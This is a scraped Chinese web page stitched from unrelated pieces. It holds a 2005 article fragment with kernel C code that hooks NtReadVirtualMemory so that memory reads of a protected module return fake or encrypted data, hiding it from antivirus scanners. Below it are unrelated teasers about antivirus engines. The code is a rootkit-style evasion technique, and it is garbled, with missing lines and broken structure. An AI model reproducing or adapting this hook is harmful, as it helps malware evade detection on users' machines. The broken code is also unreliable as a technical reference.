通過對 ntreadvirtualmemory 掛鉤,防止其他程序對保護的模組進行掃瞄,
如果發現其他程序讀被保護模組的記憶體,則返回0
--*/
typedef struct _ldr_data_table_entry ldr_data_table_entry, *pldr_data_table_entry;
/*++
函式名: myntreadvirtualmemory
引數:
in handle processhandle,
in pvoid baseaddress,
out pvoid buffer,
in ulong bufferlength,
out pulong returnlength optional
功能:
隱藏保護模組的記憶體,如果發現有記憶體掃瞄到這塊記憶體,則返回加密後的資料擾亂掃瞄過程
返回:
ntstatus
--*/
ntstatus
myntreadvirtualmemory(
in handle processhandle,
in pvoid baseaddress,
out pvoid buffer,
in ulong bufferlength,
out pulong returnlength optional )
pebldrdata = (ppeb_ldr_data)(*(pulong)( (pchar)peb + 0xc ));
if ( !pebldrdata )
try
//
// 判斷讀的記憶體屬於那乙個模組,如果都不屬於,那麼放過
//
imagemaxaddress = (ulong)((ulong)ldrdatatableentry->dllbase + ldrdatatableentry->sizeofimage);
if ( (ulong)( (ulong)baseaddress + bufferlength) < (ulong)ldrdatatableentry->dllbase ||
(ulong)baseaddress > imagemaxaddress )
//
// 如果是被保護的模組,那麼返回虛假資料
//
bhideflag = false;
blink = protectfile.blink;
while ( blink != &protectfile )
blink = blink->blink;
}
if ( bhideflag )
ldrdatatableentry = (pldr_data_table_entry)ldrdatatableentry->inloadorderlinks.flink;
} while ( ldrdatatableentry != ldrdatatableheadlist );
} except( exception_execute_handler )
goto cleanup;
} kedetachprocess();
obdereferenceobject(eprocess);
} cleanup:
return ntreadvirtualmemory(
processhandle,
baseaddress,
buffer,
bufferlength,
returnlength
);
} wss(whitecell security systems),乙個非營利性民間技術組織,致力於各種系統安全技術的研究。堅持傳統的hacker精神,追求技術的精純。
wss 主頁:http://www.whitecell.org/
wss 論壇:http://www.whitecell.org/forums/
對抗防毒軟體的記憶體掃瞄
author polymorphours email polymorphours whitecell.org homepage date 2005 11 17 author polymorphours date 2005 1 10 通過對 ntreadvirtualmemory 掛鉤,防止其他程序對...
防毒軟體引擎
轉貼 防毒軟體的引擎 鄭重宣告 本貼原作者為走走看看 很多人認為諾頓企業版和個人板採用的引擎完全一致這種理解不很正確。實際上企業版在個人板的技術上還是有改進的。zdnet上刊登過一篇文章指出 企業版和個人版引擎的核心規則完全一樣,但在前端檔案匯入部分企業版是優於個人版的,企業版使用了更多的api介面...
亂彈防毒軟體
最近一段時間,公司病毒氾濫,中招的機器也不少,公司要求安裝的趨勢根本沒有招架能力,幾乎是被病毒一招致命 藍 紅 無意間在晚上看到對當前使用比較多的防毒軟體的評價,很有意思,呵呵 卡巴就好象西毒,兇猛強悍,神功蓋世,對敵決不留情,出手狠辣,招招奪命,絕少失手,不愧為一代梟雄,但畢竟練的不是純正內功,容...